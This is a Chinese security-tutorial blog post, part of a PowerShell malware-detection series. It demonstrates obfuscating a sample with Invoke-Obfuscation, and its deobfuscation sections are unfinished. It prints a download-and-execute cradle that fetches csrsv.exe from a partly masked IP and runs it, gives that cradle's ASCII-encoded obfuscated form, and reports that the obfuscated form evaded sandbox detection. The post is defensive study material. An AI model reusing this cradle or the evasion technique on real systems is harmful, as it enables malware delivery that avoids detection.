[网络安全提高篇] 一二九.Powershell恶意代码检测 (5)混淆和反混淆 [上]

网络安全自学篇
专栏收录该内容
¥49.90
¥99.00
124 篇文章

2024新的战场,继续奋斗。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文介绍了如何利用MS Defender实现恶意样本家族批量标注。这篇文章将继续讲解Powershell恶意代码检测,主要包括PowerShell混淆与反混淆内容,首先结合Invoke-Obfuscation工具详细介绍PowerShell代码混淆方法,再结合PowerDecode工具阐述解混淆方法。该研究将为后续的恶意软件家族分类或溯源提供帮助。未完待续,基础性文章,希望您喜欢,且看且珍惜。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

提高篇:(自学系列100篇目录放在文章末尾)


一.混淆

1.Invoke-Obfuscation

Invoke-Obfuscation 是一个 PowerShell v2.0+ 兼容的 PowerShell 命令和脚本混淆器。

在这里插入图片描述

下面给出该工具的官网文档描述:

2015 年秋天,Invoke-Obfuscation的作者决定开始研究 PowerShell 语言的灵活性,并开始对各种方法进行分类,以完成大多数攻击者经常使用的一些常见技术。最初专注于编码命令(encoded command)和远程下载(remote download)cradle 语法。无论是在运行过程中,还是在 Security EID 4688 和 Sysmon 中记录内容的EID1事件日志中,作者发现各种转义字符,没有阻碍执行命令保存在命令行参数。

随后,作者系统地探索了在任何PowerShell命令或脚本中找到的各种“令牌(token)”的混淆方法。作者探索了执行字符串级混淆更晦涩的方法、包括各种编码加密技术(如 ASCII / 十六进制 / 八进制 / 二进制甚至 SecureString)。最后,PowerShell 启动技术以从 powershell.exe 抽象命令行参数,并将其推回父进程甚至祖父进程。

由于攻击者和商用恶意软件已经开始使用非常基本的混淆技术来隐藏 powershell.exe 命令行参数中的大部分命令。因此,作者开发了这个工具可以帮助蓝队(Blue Team)模拟混淆的命令,根据作者目前所知道的情况,在 PowerShell 2.0-5.0 中的语法中可以实现这些功能,这样他们就可以测试这些技术的检测能力。

  • 该工具旨在打破我们作为防御者可能对 PowerShell 命令如何出现在命令行上的任何假设。作者希望,除了更新 PowerShell 日志,包括模块(Module)、脚本块(ScriptBlock)和转录日志(Transcription logging),它会鼓励蓝队转向在命令行上寻找混淆指标器,因为这些源代码简化了由该工具生成的混淆技术的大部分工作。

Invoke-Obfuscation 在 Apache 2.0 许可下发布。

Release Notes:
v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.

v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering functionality to all applicable TOKEN obfuscation functions. Also added additional syntax options for setting variable values.

v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type casting with string obfuscation options for type name).

v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++. Also added additional (and simpler) array char conversion syntax for all ENCODING functions that does not require For-EachObject/%.

v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced randomized case for all components of all ENCODING functions as well as for PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), Maximized (3).

v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some randomization of WMIC command line arguments.

v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel):

  • Added CLI functionality: E.g., Invoke-Obfuscation -ScriptBlock {Write-Host ‘CLI FTW!’} -Command ‘Token\All\1, Encoding\1,Launcher\Stdin++\234,Clip’ -Quiet -NoExit
  • Added UNDO functionality to remove one layer of obfuscation at a time.
  • Added Process Argument Tree output for all launchers to aid defenders.
  • Added six GetMember alternate syntaxes for several SecureString members
  • …

v1.7 - 2017-03-03 nullcon (Goa, India):

  • Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
  • Added additional ExecutionContext wildcard variable strings

v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA): Added 2 new ENCODING options: Special Characters and Whitespace

v1.8.1 - 2017-12-19: Added COMPRESS function for easier conversion of multi-line scripts to a one-liner command while drastically reducing the command length for cmd.exe command line length limitation purposes.

v1.8.2 - 2018-01-04: Added AST obfuscation functions, which obfuscates by manipulating the structure of the AbstractSyntaxTree without using many special characters.


2.Powershell恶意样本

接着存在如下图所示的Powershell恶意样本。

在这里插入图片描述

该Powershell命令是从远程下载一个PE文件,并保存至本地环境中,再运行该恶意PE文件。

(New-Object System.Net.WebClient).DownloadFile('http://94.xxx.xxx.238/csrsv.exe',"$env:APPDATA\csrsv.exe");
Start-Process ("$env:APPDATA\csrsv.exe")

接下来,我们用微步沙箱进行简单的检测。

在这里插入图片描述

当样本包含完整的IP地址和路径时,微步沙箱检测其为高危恶意样本。显示如下图所示:

在这里插入图片描述

在这里插入图片描述


3.混淆具体操作

虽然所有的混淆层都已构建到单独的脚本中,但大多数用户会发现该 Invoke-Obfuscation 函数是探索和可视化混淆技术的最简单方法。Invoke-Obfuscation 的源代码托管在 Github,您可以从仓库中下载和查看它。

下载至本地后如下图所示:

在这里插入图片描述

第一步,安装Invoke-Obfuscation并启动。

  • Import-Module ./Invoke-Obfuscation.psd1
  • Invoke-Obfuscation

在这里插入图片描述

在这里插入图片描述

第二步,选择编码混淆,输入“ENCODING”。

Invoke-Obfuscation

            ____                 __
           /  _/___ _   ______  / /_____
           / // __ \ | / / __ \/ //_/ _ \______
         _/ // / / / |/ / /_/ / ,< /  __/_____/
        /______ /__|_________/_/|_|\___/         __  _
          / __ \/ /_  / __/_  ________________ _/ /_(_)___  ____
         / / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \
        / /_/ / /_/ / __/ /_/ (__  ) /__/ /_/ / /_/ / /_/ / / / /
        \____/_.___/_/  \__,_/____/\___/\__,_/\__/_/\____/_/ /_/

        Tool    :: Invoke-Obfuscation
        Author  :: Daniel Bohannon (DBO)
        Twitter :: @danielhbohannon
        Blog    :: http://danielbohannon.com
        Github  :: https://github.com/danielbohannon/Invoke-Obfuscation
        Version :: 1.8
        License :: Apache License, Version 2.0
        Notes   :: If(!$Caffeinated) {Exit}


HELP MENU :: Available options shown below:

[*]  Tutorial of how to use this tool             TUTORIAL
[*]  Show this Help Menu                          HELP,GET-HELP,?,-?,/?,MENU
[*]  Show options for payload to obfuscate        SHOW OPTIONS,SHOW,OPTIONS
[*]  Clear screen                                 CLEAR,CLEAR-HOST,CLS
[*]  Execute ObfuscatedCommand locally            EXEC,EXECUTE,TEST,RUN
[*]  Copy ObfuscatedCommand to clipboard          COPY,CLIP,CLIPBOARD
[*]  Write ObfuscatedCommand Out to disk          OUT
[*]  Reset ALL obfuscation for ObfuscatedCommand  RESET
[*]  Undo LAST obfuscation for ObfuscatedCommand  UNDO
[*]  Go Back to previous obfuscation menu         BACK,CD ..
[*]  Quit Invoke-Obfuscation                      QUIT,EXIT
[*]  Return to Home Menu                          HOME,MAIN


Choose one of the below options:

[*] TOKEN       Obfuscate PowerShell command Tokens
[*] AST         Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING      Obfuscate entire command as a String
[*] ENCODING    Obfuscate entire command via Encoding
[*] COMPRESS    Convert entire command to one-liner and Compress
[*] LAUNCHER    Obfuscate command args w/Launcher techniques (run once at end)


Invoke-Obfuscation> ENCODING

在这里插入图片描述

第三步,设置需要混淆的文件。

  • SET SCRIPTPATH data/example-001.ps1

在这里插入图片描述

第四步,设置采用ASCII码方式编码混淆。

在这里插入图片描述

此时,输出结果如下图所示。

在这里插入图片描述

由图可知,混淆转换为ASCII字符。并且起始位置为IEX字符,其中“$shellID[1]”为字符“I”,接下来依次为“E”和“X”。通过这种方式引入IEX执行命令,然后末尾 “[chAr][inT]$_)” 是该混淆伴随着解码器执行,它能成功绕过杀毒软件。

  • IEX(Invoke-Expression的别名):用来把字符串当作命令执行

在这里插入图片描述

Invoke-Expression
The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.

第五步,将文件输出。

在这里插入图片描述

混淆后的代码如下所示:

 .( $shellID[1]+$ShelLId[13]+'X')( "$(SeT-itEm 'varIable:OfS'  '' ) " + 
 [STrING](( 40 , 78 , 101 ,119,45,79, 98, 106 ,101, 99 , 116, 32, 83,121 ,
 115, 116,101, 109 ,46,78 ,101 ,116, 46,87,101 ,98,67 , 108 ,105,101,110 , 
 116 ,41,46 ,68,111 , 119, 110, 108 , 111 , 97,100,70 , 105 , 108, 101 , 
 40, 39 ,104 , 116 , 116, 112,58 , 47 , 47 ,57, 52 , 46 ,120 , 120,120, 
 46 , 120,120, 120,46 ,50,51, 56,47,99 , 115 ,114,115 , 118, 46, 101, 
 120,101, 39, 44,34, 36 , 101 , 110, 118 , 58, 65 , 80 , 80,68 ,65 ,84, 
 65,92 ,99,115 ,114 ,115 , 118 , 46 , 101, 120 , 101 , 34,41, 59, 83 , 
 116,97 ,114,116 , 45, 80,114 , 111,99,101 ,115 , 115,32, 40, 34 ,36 , 
 101, 110 , 118, 58, 65,80, 80,68,65,84, 65 ,92 , 99,115, 114, 115, 
 118,46, 101,120 , 101,34 ,41 )|% { ( [chAr][inT]$_)})+
 "$( Set-ITEM  'VArIaBLe:Ofs'  ' ' )") 

最终输出文件内容如下图所示。

在这里插入图片描述

最后,我们尝试将含完整IP地址的PS进行混淆,然后通过微步沙箱进行绕过检测。

在这里插入图片描述

经过混淆处理后,PS文件成功绕过了多种沙箱的检测。

在这里插入图片描述

补充:
我们还可以采用其它的混淆方式,比如AST混淆。
在这里插入图片描述
在这里插入图片描述


二.反混淆

未完待续!

1.PowerDecode


2.具体操作


三.检测混淆

未完待续!

1.Revoke-Ofuscation


2.具体操作


四.总结

写到这里,这篇文章就介绍完毕,下一篇会介绍解混淆。基础性文章,希望对您有所帮助。行路难,多歧路。感谢家人的陪伴,爱你们喔!

  • 一.混淆
    1.Invoke-Obfuscation
    2.Powershell恶意样本
    3.混淆具体操作
  • 二.反混淆
    1.PowerDecode
    2.具体操作
  • 三.检测混淆
    1.Revoke-Ofuscation
    2.具体操作

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2025-04-09 夜于火星 http://blog.csdn.net/eastmount/ )


VIP HW钓鱼样本深度解析:从攻击链分析到无害测试样本制作实战 网络钓鱼攻击是网络安全领域常见的社会工程学手段,其核心原理是利用伪装欺骗诱导用户执行恶意操作。在高级持续性威胁和实战攻防演练场景中,钓鱼攻击链已演变为包含侦察、武器化、投递、执行、安装、命令与控制等多个阶段的精细化作业。理解其技术价值在于能有效识别和防御利用Office宏、PowerShell、载荷分离等技术的定向攻击。通过静态分析提取宏代码特征,结合动态沙箱监控网络请求与进程行为,可以完整还原攻击链条。基于此,在安全可控环境中复现攻击手法,制作无害的教学测试样本,能深化对VBA宏、WinHttpReque 开通可读全文·308 阅读·6 点赞·7 收藏 阅读全文

相关推荐

Android隐私合规检测工具Camille:静态分析原理、实战应用与CI/CD集成指南

在移动应用开发领域,隐私合规已成为应用上架与持续运营的关键门槛。静态应用安全测试(SAST)作为一种重要的代码安全分析技术,通过在不运行程序的情况下分析源代码或编译后代码,来识别潜在的安全漏洞与合规风险。其核心原理是基于预定义的规则模式,对代码结构进行匹配与交叉验证,从而高效发现“未声明即使用”等违规代码模式。这项技术的核心价值在于能将合规检查左移,在开发与测试阶段提前发现问题,显著降低修复成本与监管风险。在Android应用隐私合规检测这一具体场景中,Camille正是这样一款基于SAST理念的开源工具。

weixin_30471561的博客 303

别再只抄框架图了!AI安全顶会论文的Model Design,高手都在这样写“故事”

本文深入探讨了AI安全顶会论文中Model Design的高阶策略,强调科研叙事的重要性。通过分析CCS、USENIX Security等顶会获奖论文,揭示了如何将技术模块转化为有逻辑张力的科研故事,提升论文的创新性和影响力。文章详细介绍了科研叙事的本质、Overview设计、模块化叙事等关键技巧,帮助研究者从“me too”跃迁至“me only”阶段。

weixin_38166560的博客 322

[网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树(AST)提取

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树(AST)提取。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。

杨秀璋的专栏 1万+

[系统安全] 四十二.Powershell恶意代码检测系列 (4)论文总结及抽象语法树(AST)提取

系统安全将更好地帮助初学者了解病毒逆向分析和系统安全。前文分享了PowerShell和PowerSploit脚本攻击,进一步结合MSF漏洞利用来实现脚本攻击。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树(AST)提取。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。...

杨秀璋的专栏 4095

反爬虫:OB混淆反爬机制详解,并设计一个带OB混淆的网站

本文介绍了OB混淆反爬技术及其实现方法。OB混淆通过对HTML内容进行编码、加密或打乱顺序来阻止爬虫直接获取数据。文章详细讲解了常见的混淆形式,如Unicode编码、Base64编码、CSS偏移和JS动态解密等,并分析了其设计目的和反爬建议。随后,作者通过一个FastAPI新闻网站案例,展示了如何实现带OB混淆的反爬系统,包括后端混淆处理(自定义Base64映射)和前端JS动态解密渲染的完整代码。该方案能有效阻挡90%的简单爬虫,但建议结合其他防护措施构建多层防御体系。

数据知道的博客 3875

国产大模型高考横评:数学推理与教育落地能力实测

大模型能力评估正从开放榜单转向封闭任务的确定性验证,高考作为强逻辑、低容错、高精度的标准化考试,成为检验模型真实推理能力的理想标尺。其核心在于考察知识覆盖、步骤完整性、单位敏感性与教学对齐度,而非单纯答案正确率。数学解答题尤其凸显模型在前提校验、条件枚举与过程可控性上的差异,反映出训练数据与教育语料深度耦合带来的工程化优势。该范式已延伸至语文语感建模、英语表达习惯适配及理综跨学科缝合等场景,为智能阅卷、精准答疑和教培系统集成提供可复现、可解释、可部署的技术依据。

weixin_30436581的博客 289

泛微E9集成登录实战:5分钟搞定第三方系统单点登录配置(附避坑指南)

本文详细解析了泛微E9集成登录的实战配置流程与核心原理。通过理解其基于信任代理的身份传递机制,文章指导用户如何在5-10分钟内完成第三方系统的单点登录对接,涵盖基础配置、核心参数设置、高级表达式应用,并提供了编码问题、账号不一致等常见避坑指南,助力企业快速构建统一身份认证门户。

weixin_29185493的博客 305

基于QGIS的DEM地形数据精细化处理:从裁剪、合并到成果输出

本文详细介绍了使用QGIS进行DEM地形数据的精细化处理流程,包括数据获取、裁剪、合并及成果输出等关键步骤。通过实战技巧和注意事项,帮助用户高效处理地形数据,适用于GIS分析、三维建模等应用场景。

weixin_29093017的博客 457

ANPC三电平拓扑:两种调制方式解析

ANPC结构是基于“I”型NPC结构(下面讲NPC如不特殊说明,均指的是“I”型结构NPC)发展出来的一种改进型。我们在讲NPC结构的时候会谈到他的一个缺点就是损耗分布不均匀,会导致温升不均衡,进而限制模块的功率输出能力。而ANPC结构由于多了两个开关管以及相应的两个中性点换流回路(如下图),可以更加灵活任意的配置开关管可以使损耗没有那么的不均衡,从而能一定程度上提高模块的输出功率。ANPC拓扑结构图以及增加的环流回路。

IOTBOT的博客 9544

别再手动续期SSL证书了!用acme.sh配合阿里云DNS API,实现全自动HTTPS证书管理

本文详细介绍了如何使用acme.sh配合阿里云DNS API实现SSL/TLS证书的全自动管理,彻底解决手动续期带来的风险与不便。通过自动化部署流程,包括环境准备、API集成、多域名证书申请等关键步骤,帮助运维人员构建高效、可靠的HTTPS证书管理体系,显著提升安全性和运维效率。

weixin_29200485的博客 276

YOLO11涨点优化:知识蒸馏 | 引入FGD(Focal and Global Distillation)蒸馏,让轻量学生模型汲取大模型全局感知力

文章摘要 目标检测模型YOLO11在轻量化部署中存在"全局盲区"问题,即轻量模型感受野不足导致大尺度场景下性能下降。知识蒸馏技术FGD(Focal and Global Distillation)通过双分支机制有效解决这一问题:Focal Distillation分离前景背景特征,让学生模型聚焦关键区域;Global Distillation传递像素间关系信息,弥补全局感知缺陷。实验表明,FGD可使YOLO11轻量版mAP提升2.5%以上,且不增加推理耗时。本文详细解析了FGD原理,并给出YOLO11上的实

2601_95807009的博客 244

【异常】XXL-job触发调度:address:http://192.168.x.x:x/ code:500 msg:xxl-rpc remoting error(connect timed out)

XXL-JOB调度任务失败分析:调度中心(10.254.234.80)与执行器(192.168.x.x)连接超时,返回500错误。主要原因是网络不通或执行器异常:1.网络不通可能由防火墙或网段隔离导致;2.执行器未启动或端口未监听;3.地址配置错误。解决方案:1.关闭代理使用内网;2.测试网络连通性和端口可用性;3.检查执行器进程状态和端口监听情况;4.核对执行器地址配置;5.必要时配置防火墙规则放行端口。

奶爸的编程之路,也就一周冷个三天 417

智能体开发套件(ADK)介绍

city } ---") city_normalized = city . lower() . replace(" " , "") # 模拟天气数据库 mock_weather_db = {

lpfasd123的博客 1416

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: [安全开源分享] Datacon24漏洞赛道冠军分享:vuln_wp —— 大模型赋能的漏洞自动化分析全解析(武大团队)
下一篇: [系统安全] 六十三.Powershell恶意代码检测系列 (6) 混淆和反混淆 [上]
Eastmount
Eastmount 优质创作者: python技术领域 优质创作者: python技术领域 领域专家: 数据科学与机器学习技术领域 领域专家: 数据科学与机器学习技术领域
博客等级 码龄15年 25万+粉丝 874原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eastmount

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址